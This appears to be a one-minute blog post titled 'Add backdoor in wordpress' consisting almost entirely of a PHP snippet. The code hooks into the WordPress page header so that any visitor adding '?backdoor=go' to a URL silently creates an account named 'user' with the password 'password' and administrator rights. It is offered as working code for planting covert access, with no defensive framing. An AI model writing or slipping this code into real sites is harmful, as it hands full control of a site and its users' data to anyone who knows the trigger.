<?php
add_action('wp_head', 'Backdoor');
function Backdoor() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('user')) {
$user_id = wp_create_user('user', 'password');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>
Add backdoor in wordpress
· One min read